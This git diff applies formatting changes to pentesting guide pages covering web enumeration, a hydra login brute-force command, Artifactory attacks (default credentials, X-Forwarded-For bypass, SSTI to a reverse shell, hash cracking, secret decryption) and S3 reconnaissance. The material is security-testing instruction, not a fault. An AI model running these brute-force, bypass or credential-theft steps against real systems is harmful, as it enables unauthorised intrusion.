Brute Force directories and files -Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** \(you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories\). +Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\ Tools: -* **Dirb** / **Dirbuster** - Included in Kali, **old** \(and **slow**\) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options. -* [**Dirsearch**](https://github.com/maurosoria/dirsearch) \(python\)**: It doesn't allow auto-signed certificates but** allows recursive search. -* [**Gobuster**](https://github.com/OJ/gobuster) \(go\): It allows auto-signed certificates, it **doesn't** have **recursive** search. +* **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options. +* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search. +* [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search. * [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** * [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` * [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` **Recommended dictionaries:** -* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) +* [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) * [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) * [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) -* [Assetnote wordlists](https://wordlists.assetnote.io/) +* [Assetnote wordlists](https://wordlists.assetnote.io) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) * raft-large-directories-lowercase.txt * directory-list-2.3-medium.txt @@ -256,16 +260,16 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri ### What to check on each file found * [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers -* **File Backups**: Once you have found all the files, look for backups of all the executable files \("_.php_", "_.aspx_"...\). Common variations for naming a backup are: _file.ext~, \#file.ext\#, ~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac). +* **File Backups**: Once you have found all the files, look for backups of all the executable files ("_.php_", "_.aspx_"...). Common variations for naming a backup are: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac). * **Discover new parameters**: You can use tools like [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file. - * _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)\_\_ - * _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)\_\_ - * _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io/)\_\_ + * _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)\__ + * _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)\__ + * _Assetnote “parameters_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)\__ * _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) * **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**. - * If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** \(using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser\). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page. -* **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [keyhacks](https://github.com/streaak/keyhacks), [**zile**](https://github.com/xyele/zile.git)**,** [truffleHog](https://github.com/trufflesecurity/truffleHog), [SecretFinder](https://github.com/m4ll0k/SecretFinder), [RegHex](https://github.com/l4yton/RegHex%29\) - * Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access. + * If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page. +* **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [keyhacks](https://github.com/streaak/keyhacks), [**zile**](https://github.com/xyele/zile.git)**,** [truffleHog](https://github.com/trufflesecurity/truffleHog), [SecretFinder](https://github.com/m4ll0k/SecretFinder), [RegHex](https://github.com/l4yton/RegHex\)/) + * Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access. * **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/). ### Special findings @@ -281,41 +285,45 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri * **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.** * You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable. * **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - * **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io/), [http://jsnice.org/](http://jsnice.org/) - * **JsFuck deobfuscation** \(javascript with chars:"\[\]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)\) + * **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) + * **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)) * \*\*\*\*[**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` - * In several occasions you will need to **understand regular expressions** used, this will be useful: [https://regex101.com/](https://regex101.com/) + * In several occasions you will need to **understand regular expressions** used, this will be useful: [https://regex101.com/](https://regex101.com) * You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality. -#### 403 Forbidden/Basic Authentication/401 Unauthorized \(bypass\) +#### 403 Forbidden/Basic Authentication/401 Unauthorized (bypass) -{% page-ref page="403-and-401-bypasses.md" %} +{% content-ref url="403-and-401-bypasses.md" %} +[403-and-401-bypasses.md](403-and-401-bypasses.md) +{% endcontent-ref %} #### 502 Proxy Error -If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** \(with the host header and other common headers\), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF. +If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF. #### **NTLM Authentication - Info disclosure** -If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** \(and asking for **domain** **name**\), you can provoke an **information disclosure**. -**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info \(IIS version, Windows version...\) inside the header "WWW-Authenticate". +If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\ +**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\ You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_". -#### HTTP Redirect \(CTF\) +#### HTTP Redirect (CTF) -It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** \(as the browser will execute the redirection\) but something could be **hidden** in there. +It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there. ## Web Vulnerabilities Checking Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here: -{% page-ref page="../../pentesting-web/web-vulnerabilities-methodology.md" %} +{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %} +[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md) +{% endcontent-ref %} -TODO: Complete the list of vulnerabilities and techniques with [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) and [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html), [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection) +TODO: Complete the list of vulnerabilities and techniques with [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) and [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html), [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection) ## HackTricks Automatic Commands -```text +``` Protocol_Name: Web #Protocol Abbreviation if there is one. Port_Number: 80,443 #Comma separated if there is more than one. Protocol_Description: Web #Protocol Abbreviation Spelled out @@ -379,4 +387,3 @@ Entry_11: Description: Need User (admin is default) Command: hydra -l admin -P {Big_Passwordlist} {IP} -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location' ``` - diff --git a/pentesting/pentesting-web/artifactory-hacking-guide.md b/pentesting/pentesting-web/artifactory-hacking-guide.md index 862cd6fa..8b1a98a0 100644 --- a/pentesting/pentesting-web/artifactory-hacking-guide.md +++ b/pentesting/pentesting-web/artifactory-hacking-guide.md @@ -1,22 +1,22 @@ # Artifactory Hacking guide -**This content was taken from** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking_Artifactory)\*\*\*\* +**This content was taken from **[**https://www.errno.fr/artifactory/Attacking_Artifactory**](https://www.errno.fr/artifactory/Attacking_Artifactory)**** -## Artifactory basics +## Artifactory basics -### Default users and passwords +### Default users and passwords Artifactory’s default accounts are: -| Account | Default password | Notes | -| :--- | :--- | :--- | -| admin | password | common administration account | -| access-admin | password \(<6.8.0\) or a random value \(>= 6.8.0\) | used for local administration operations only | -| anonymous | ’’ | anonymous user to retrieve packages remotely, not enabled by default | +| Account | Default password | Notes | +| ------------ | ---------------------------------------------- | -------------------------------------------------------------------- | +| admin | password | common administration account | +| access-admin | password (<6.8.0) or a random value (>= 6.8.0) | used for local administration operations only | +| anonymous | ’’ | anonymous user to retrieve packages remotely, not enabled by default | By default, no password locking policy is in place which makes Artifactory a prime target for credential stuffing and password spraying attacks. -### Authorizations +### Authorizations Ideally, this is what you should see when connecting to Artifactory: @@ -28,13 +28,13 @@ On the other hand, if you’re greeted with something more akin to this: It means that “Anonymous access” has been enabled in the administration panel, which is a common setting used to let applications retrieve artifacts without hassle but lets you, the attacker, see more than is preferable. -### Checking account rights +### Checking account rights Sometimes, because of a misconfiguration, anonymous is allowed to deploy files to some repositories! To check which repositories the anonymous user can deploy to, use the following request: -```text +``` curl http://localhost:8081/artifactory/ui/repodata?deploy=true {"repoList":["artifactory-build-info","example-repo-local"]} ``` @@ -43,15 +43,15 @@ If there are any `repoKey` entries in the request, anonymous can deploy to these This can be generalized to other accounts once you get a password or token for them. -### Listing users +### Listing users -For some reason listing users is a right reserved to admins only. I found an alternate way to list users \(those that are actively deploying at least\) that relies on the “Deployed By” value of artifacts: +For some reason listing users is a right reserved to admins only. I found an alternate way to list users (those that are actively deploying at least) that relies on the “Deployed By” value of artifacts: ![Deployed By](https://www.errno.fr/artifactory/artif_deployed_by.png) -[This script](https://gist.github.com/gquere/347e8e042490be87e6e9e32e428cb47a) simply tries to recursively find all the users that have deployed artifacts. Note that it could take a while to complete if there are a lot of repositories \(>1000\). +[This script](https://gist.github.com/gquere/347e8e042490be87e6e9e32e428cb47a) simply tries to recursively find all the users that have deployed artifacts. Note that it could take a while to complete if there are a lot of repositories (>1000). -```text +``` ./artifactory_list_users.py http://127.0.0.1:8081/artifactory There are 23 repositories to process Found user admin @@ -60,7 +60,7 @@ Found user user Found user test_deploy ``` -### Permissions +### Permissions Here are the basic permissions and their usefulness: @@ -70,25 +70,25 @@ Here are the basic permissions and their usefulness: * Annotate: necessary for CVE-2020-7931 * Read: usually a default permission -## Known vulnerabilities +## Known vulnerabilities Here is a curated list of high impact public vulnerabilities: -### CVE-2016-10036: Arbitrary File Upload & RCE \(<4.8.6\) +### CVE-2016-10036: Arbitrary File Upload & RCE (<4.8.6) [Details here.](https://www.exploit-db.com/exploits/44543) This one is getting a bit old and it’s unlikely you’ll stumble on such an outdated Artifactory version. Nevertheless it’s quite effective, as it is a simple directory traversal which nets arbitrary code execution at the Tomcat level. -### CVE-2019-9733: Authentication bypass \(<6.8.6\) +### CVE-2019-9733: Authentication bypass (<6.8.6) [Original advisory here.](https://www.ciphertechs.com/jfrog-artifactory-advisory/) -On older versions of Artifactory \(up to 6.7.3\), the `access-admin` account used a default password `password`. +On older versions of Artifactory (up to 6.7.3), the `access-admin` account used a default password `password`. This local account is normally forbidden to access the UI or API, but until version 6.8.6 Artifactory could be tricked into believing the request emanated locally if the `X-Forwarded-For` HTTP header was set to `127.0.0.1`. -### CVE-2020-7931: Server-Side Template Injection \(Artifactory Pro\) +### CVE-2020-7931: Server-Side Template Injection (Artifactory Pro) [Original advisory here.](https://github.com/atredispartners/advisories/blob/master/ATREDIS-2019-0006.md) @@ -96,7 +96,7 @@ Here’s a [tool I wrote](https://github.com/gquere/CVE-2020-7931) to automate t These are required for exploitation: -* a user with deploy \(create files\) and annotate \(set filtered\) rights +* a user with deploy (create files) and annotate (set filtered) rights * Artifactory Pro The vulnerability is rather simple: if a deployed resource is set to filtered it is interpreted as a Freemarker Template, which gives the attacker a SSTI attack window. ![Filtered Resource](https://www.errno.fr/artifactory/artif_filtered.png) @@ -108,38 +108,38 @@ Here are the implemented primitives: These should be enough to give you remote code execution in a number of manners, from the easiest/quietest to the hardest/noisiest: -* reading a secret on the filesystem that lets you pivot \(/home/user/.bash\_history, /home/user/password.txt, /home/user/.ssh/id\_rsa …\) +* reading a secret on the filesystem that lets you pivot (/home/user/.bash_history, /home/user/password.txt, /home/user/.ssh/id_rsa …) * adding an SSH key to the user * deploying a .war to execute a servlet * deploying an Artifactory Groovy user script -#### .war stories: Java renameTo\(\) shenanigans +#### .war stories: Java renameTo() shenanigans -This is a little story of how I banged my head against the wall for hours if not days during a pentest. I came accross an outdated Artifactory which I knew was vulnerable to CVE-2020-7931. I deployed the original’s advisory SSTI template and started perusing through the filesystem. It seemed that Artifactory had been installed in a non-standard location, which isn’t too unusual as admins like to keep separated partitions between application binaries, data, logs and configuration \(this is a good thing!\). There were no SSH keys or passwords in the user’s home directory that would have provided me with an easy pivot, so there came the time to be less discreet and write to the filesystem. Dropping the initial payload \(a public key\) in Artifactory’s upload directory went fine, but I just couldn’t manage to move it to the SSH keys directory. So I went back to my exploitation sandbox, tested it again and lo and behold, it worked fine. So there had to be a different configuration that prevented me from completing the `renameTo()` method. At this point it’s always a good idea to [check the documentation](https://docs.oracle.com/javase/8/docs/api/java/io/File.html#renameTo-java.io.File-) … which clearly states that you cannot rename files accross different filesystems, which I guess makes sense depending on the implementation of the method, i.e. if it works at an inode level. Arg. +This is a little story of how I banged my head against the wall for hours if not days during a pentest. I came accross an outdated Artifactory which I knew was vulnerable to CVE-2020-7931. I deployed the original’s advisory SSTI template and started perusing through the filesystem. It seemed that Artifactory had been installed in a non-standard location, which isn’t too unusual as admins like to keep separated partitions between application binaries, data, logs and configuration (this is a good thing!). There were no SSH keys or passwords in the user’s home directory that would have provided me with an easy pivot, so there came the time to be less discreet and write to the filesystem. Dropping the initial payload (a public key) in Artifactory’s upload directory went fine, but I just couldn’t manage to move it to the SSH keys directory. So I went back to my exploitation sandbox, tested it again and lo and behold, it worked fine. So there had to be a different configuration that prevented me from completing the `renameTo()` method. At this point it’s always a good idea to [check the documentation](https://docs.oracle.com/javase/8/docs/api/java/io/File.html#renameTo-java.io.File-) … which clearly states that you cannot rename files accross different filesystems, which I guess makes sense depending on the implementation of the method, i.e. if it works at an inode level. Arg. -Remember what I said about admins liking partitions? Well, this is a case of an admin unbeknownstingly hardening his setup against my exploit! So I had to dig into what is essentially a Java jail to find another method that would let me write a file to disk. And that wasn’t fun at all, as I’m not familiar with any of the things involved: FTL Templates, Java, Tomcat/Catalina. I quickly discovered that regular Java jail escapes just wouldn’t cut it, as instatiating new classes was forbidden. After hours of reading the Java and Catalina classes documentation, I finally found a write\(\) method on a object which I could reach. But it was limited to the web application’s base path… So then I thought of combining the write to another filesystem and the `renameTo()` accross this newly reachable filesystem to hopefully be able to write anywhere? And it kinda worked. I managed to write out of the temporary upload dir … but not so far from it as now I was stuck on another filesystem which was the mountpoint to all things artifactory: configuration, application and stuff. So still no SSH key for me. +Remember what I said about admins liking partitions? Well, this is a case of an admin unbeknownstingly hardening his setup against my exploit! So I had to dig into what is essentially a Java jail to find another method that would let me write a file to disk. And that wasn’t fun at all, as I’m not familiar with any of the things involved: FTL Templates, Java, Tomcat/Catalina. I quickly discovered that regular Java jail escapes just wouldn’t cut it, as instatiating new classes was forbidden. After hours of reading the Java and Catalina classes documentation, I finally found a write() method on a object which I could reach. But it was limited to the web application’s base path… So then I thought of combining the write to another filesystem and the `renameTo()` accross this newly reachable filesystem to hopefully be able to write anywhere? And it kinda worked. I managed to write out of the temporary upload dir … but not so far from it as now I was stuck on another filesystem which was the mountpoint to all things artifactory: configuration, application and stuff. So still no SSH key for me. Okay, I could write to the artifactory root folder, surely I could do something here? Hey, default Tomcat automatically does deploy WAR files written to its application path, doesn’t it? So I used msfvenom to generate a JSP webshell packed in a WAR file and tested it in my sandbox… well it got deployed alright, but netted me no command execution. Seems like default Tomcat doesn’t handle JSPs. Ugh. Getting increasingly frustrated, I looked for another way to execute code in Tomcat, and found another execution method using servlets. Couldn’t find an appropriate payload so fuck it, I’m all in at this point and [rolled my own which you can find here](https://github.com/gquere/javaWebShell). Tested it in the sandbox, works, ok. Put it on target, deploys and … nada. Turns out, there was a proxy in front of artifactory that rewrote all URLs to /artifactory. So even though my backdoor was deployed and running, there was no way for me to access it… If there was some remote code execution to achieve at this point, it would have to be in Artifactory’s context, not Tomcat’s. Come next morning, I’m sobbing at my desk looking a last time at Artifactory’s documentation in vain hopes of an epiphany. And then the magical words “Groovy scripts” appeared. Turns out there’s a convoluted way to execute Groovy scripts, by writing them to disk then reloading them through the API. Saved at last! So I popped a Groovy reverseshell to machine and that was the end of that. Still wish I had found a cleaner method that would have written anywhere on the filesystem using the SSTI, but I sure wasn’t going to back to developping! -Fortunately, all pentests don’t go like this :\) +Fortunately, all pentests don’t go like this :) -## Post-Exploitation +## Post-Exploitation The following are only useful once you’ve achieved remote code execution or arbitrary file read on the server and might help you pivoting to another machine. -### Storage of passwords and external secrets +### Storage of passwords and external secrets -#### Local passwords +#### Local passwords Local artifactory passwords are stored in either salted MD5 or bcrypt form, the former being deprecated. -MD5 passwords are always salted with the hardcoded the spring value `{CAFEBABEEBABEFAC}`, and are using simple concatenation with no rounds, i.e. `hash = md5(password + salt)`. The database says the salt is `CAFEBABEEBABEFAC` but trust me, it’s `{CAFEBABEEBABEFAC}`, I had a hard time finding it :\) +MD5 passwords are always salted with the hardcoded the spring value `{CAFEBABEEBABEFAC}`, and are using simple concatenation with no rounds, i.e. `hash = md5(password + salt)`. The database says the salt is `CAFEBABEEBABEFAC` but trust me, it’s `{CAFEBABEEBABEFAC}`, I had a hard time finding it :) Cracking these MD5 passwords requires using a dynamic mode for JtR: -```text +``` cat artifactory.hashes user:1f70548d73baca61aab8660733c7de81${CAFEBABEEBABEFAC} john artifactory.hashes --format=dynamic_1 @@ -149,7 +149,7 @@ password (user) The other type of bcrypt password requires nothing special, it’s just a standard bcrypt hash: -```text +``` cat artifactory_bcrypt.hashes admin:$2a$08$EbfHSAjPLoJnG/yHS/zmi.VizaWSipUuKAo7laKt6b8LePPTfDVeW john artifactory_bcrypt.hashes @@ -157,19 +157,19 @@ Loaded 1 password hash (bcrypt [Blowfish 32/64 X2]) password (admin) ``` -#### Remote secrets +#### Remote secrets Artifactory may need to store secrets to identify to remote services. These secrets aren’t hashed of course, they’re stored encrypted on the disk, with the key next to them. There are two types of secrets mentionned in the [official documentation](https://jfrog.com/knowledge-base/what-are-the-artifactory-key-master-key-and-what-are-they-used-for/). -**Old format \(<5.9\): DES-EDE** +**Old format (<5.9): DES-EDE** TODO. [Open an issue if you have sample encrypted data](https://github.com/gquere/ArtifactoryDecryptor). -**New format \(>=5.9\): AES128-CBC encryption, stored as base58** +**New format (>=5.9): AES128-CBC encryption, stored as base58** -External secrets \(such as passwords of remote servers\) are found in the [configuration descriptors](https://www.jfrog.com/confluence/display/JFROG/Configuration+Files#ConfigurationFiles-GlobalConfigurationDescriptor), e.g. `/var/opt/jfrog/artifactory/etc/artifactory.config.latest.xml` and look like: +External secrets (such as passwords of remote servers) are found in the [configuration descriptors](https://www.jfrog.com/confluence/display/JFROG/Configuration+Files#ConfigurationFiles-GlobalConfigurationDescriptor), e.g. `/var/opt/jfrog/artifactory/etc/artifactory.config.latest.xml` and look like: -```text +``` AM.25rLQ.AES128.vJMeKkaK6RBRQCUKJWvYEHUw6zs394X1CrRugvJsQGPanhMgQ5be8yjWDhJYC4BEz2KRE ``` @@ -180,15 +180,15 @@ Where: * `AES128` obviously is the algorithm used * `vJMeK...KRE` is the base58 encoding of `IV_SIZE|IV|secret|CRC` -More secrets can be found \(tokens, configuration backups …\) by using the following regexp: +More secrets can be found (tokens, configuration backups …) by using the following regexp: -```text +``` grep -r 'AM\..*\.AES128\.' /var/opt/jfrog/artifactory/ ``` The key is stored in `/var/opt/jfrog/artifactory/etc/security/artifactory.key` and looks like: -```text +``` JS.25rLQ.AES128.7fcJFd3Y2ib3wi4EHnhbvZuxu ``` @@ -201,11 +201,10 @@ Where: This tool I wrote can be used offline to decrypt Artifactory secrets: [ArtifactoryDecryptor](https://github.com/gquere/ArtifactoryDecryptor). -## Defending Artifactory +## Defending Artifactory If you’re the blue team or an Artifactory admin, by now you should have a pretty good idea of what to do: * keep Artifactory up to date, especially when criticial updates are issued -* implement a sound password policy \(no default passwords, mandatory strong passwords, lockouts\), preferably deferred to an external LDAP for better supervision -* restrict accesses \(respect the principle of least privilege\), especially for the anonymous user - +* implement a sound password policy (no default passwords, mandatory strong passwords, lockouts), preferably deferred to an external LDAP for better supervision +* restrict accesses (respect the principle of least privilege), especially for the anonymous user diff --git a/pentesting/pentesting-web/buckets/README.md b/pentesting/pentesting-web/buckets/README.md index 0269582f..d36bed93 100644 --- a/pentesting/pentesting-web/buckets/README.md +++ b/pentesting/pentesting-web/buckets/README.md @@ -2,11 +2,10 @@ A good tool to review your configuration in several clouds is: [https://github.com/nccgroup/ScoutSuite](https://github.com/nccgroup/ScoutSuite) -\*\*\*\*[**AWS S3 hacking tricks**](aws-s3.md)\*\*\*\* +****[**AWS S3 hacking tricks**](aws-s3.md)**** **More info:** * [https://www.notsosecure.com/cloud-services-enumeration-aws-azure-and-gcp/](https://www.notsosecure.com/cloud-services-enumeration-aws-azure-and-gcp/) * [https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/](https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/) * [https://www.notsosecure.com/identifying-exploiting-leaked-azure-storage-keys/](https://www.notsosecure.com/identifying-exploiting-leaked-azure-storage-keys/) - diff --git a/pentesting/pentesting-web/buckets/aws-s3.md b/pentesting/pentesting-web/buckets/aws-s3.md index f25758e9..5df8d328 100644 --- a/pentesting/pentesting-web/buckets/aws-s3.md +++ b/pentesting/pentesting-web/buckets/aws-s3.md @@ -4,9 +4,9 @@ A bucket is typically considered “public” if any user can list the contents of the bucket, and “private” if the bucket's contents can only be listed or written by certain S3 users. This is important to understand and emphasize. _**A public bucket will list all of its files and directories to any user that asks.**_ -It should be emphasized that a public bucket is not a risk created by Amazon but rather a misconfiguration caused by the owner of the bucket. And although a file might be listed in a bucket it does not necessarily mean that it can be downloaded. Buckets and objects have their own access control lists \(ACLs\). Amazon provides information on managing access controls for buckets [here](http://docs.aws.amazon.com/AmazonS3/latest/dev/UsingAuthAccess.html). Furthermore, Amazon helps their users by publishing a best practices document on [public access considerations around S3 buckets](http://aws.amazon.com/articles/5050). The default configuration of an S3 bucket is private. +It should be emphasized that a public bucket is not a risk created by Amazon but rather a misconfiguration caused by the owner of the bucket. And although a file might be listed in a bucket it does not necessarily mean that it can be downloaded. Buckets and objects have their own access control lists (ACLs). Amazon provides information on managing access controls for buckets [here](http://docs.aws.amazon.com/AmazonS3/latest/dev/UsingAuthAccess.html). Furthermore, Amazon helps their users by publishing a best practices document on [public access considerations around S3 buckets](http://aws.amazon.com/articles/5050). The default configuration of an S3 bucket is private. -**Learn about AWS-S3 misconfiguration here:** [ **http://flaws.cloud**](../../../) **and** [**http://flaws2.cloud/**](http://flaws2.cloud/) **\(Most of the information here has been taken from those resources\)** +**Learn about AWS-S3 misconfiguration here:** [ **http://flaws.cloud**](../../../) **and** [**http://flaws2.cloud/**](http://flaws2.cloud) **(Most of the information here has been taken from those resources)** #### **Regions** @@ -20,13 +20,13 @@ It should be emphasized that a public bucket is not a risk created by Amazon but Prerequisites, at least you need awscli -```text +``` sudo apt install awscli ``` -You can get your credentials here [https://console.aws.amazon.com/iam/home?\#/security\_credential](https://console.aws.amazon.com/iam/home?#/security_credential) but you need an aws account, free tier account : [https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free\_np/](https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/) +You can get your credentials here [https://console.aws.amazon.com/iam/home?#/security_credential](https://console.aws.amazon.com/iam/home?#/security_credential) but you need an aws account, free tier account : [https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/](https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/) -```text +``` aws configure --profile AWSAccessKeyId=[ENTER HERE YOUR KEY] AWSSecretKey=[ENTER HERE YOUR KEY] @@ -34,7 +34,7 @@ AWSSecretKey=[ENTER HERE YOUR KEY] Alternatively you can use environment variables instead of creating a profile. -```text +``` export AWS_ACCESS_KEY_ID=ASIAZ[...]PODP56 export AWS_SECRET_ACCESS_KEY=fPk/Gya[...]4/j5bSuhDQ export AWS_SESSION_TOKEN=FQoGZXIvYXdzE[...]8aOK4QU= @@ -45,19 +45,19 @@ export AWS_SESSION_TOKEN=FQoGZXIvYXdzE[...]8aOK4QU= Different methods to find when a webpage is using AWS to storage some resources: * Using wappalyzer browser plugin -* Using BURP \(spidering the web\) or by manually navigating through the page all resources loaded will be save in the History. -* Check for resources in domains like: +* Using BURP (spidering the web) or by manually navigating through the page all resources loaded will be save in the History. +* Check for resources in domains like: - ```text - http://s3.amazonaws.com/[bucket_name]/ - http://[bucket_name].s3.amazonaws.com/ - ``` + ``` + http://s3.amazonaws.com/[bucket_name]/ + http://[bucket_name].s3.amazonaws.com/ + ``` Notice that a domain could be hiding some of this URLs for example `resources.domain.com --> bucket.s3.amazonaws.com` You can get the region of a bucket with a dig and nslookup: -```text +``` $ dig flaws.cloud ;; ANSWER SECTION: flaws.cloud. 5 IN A 52.218.192.11 @@ -67,11 +67,11 @@ Non-authoritative answer: 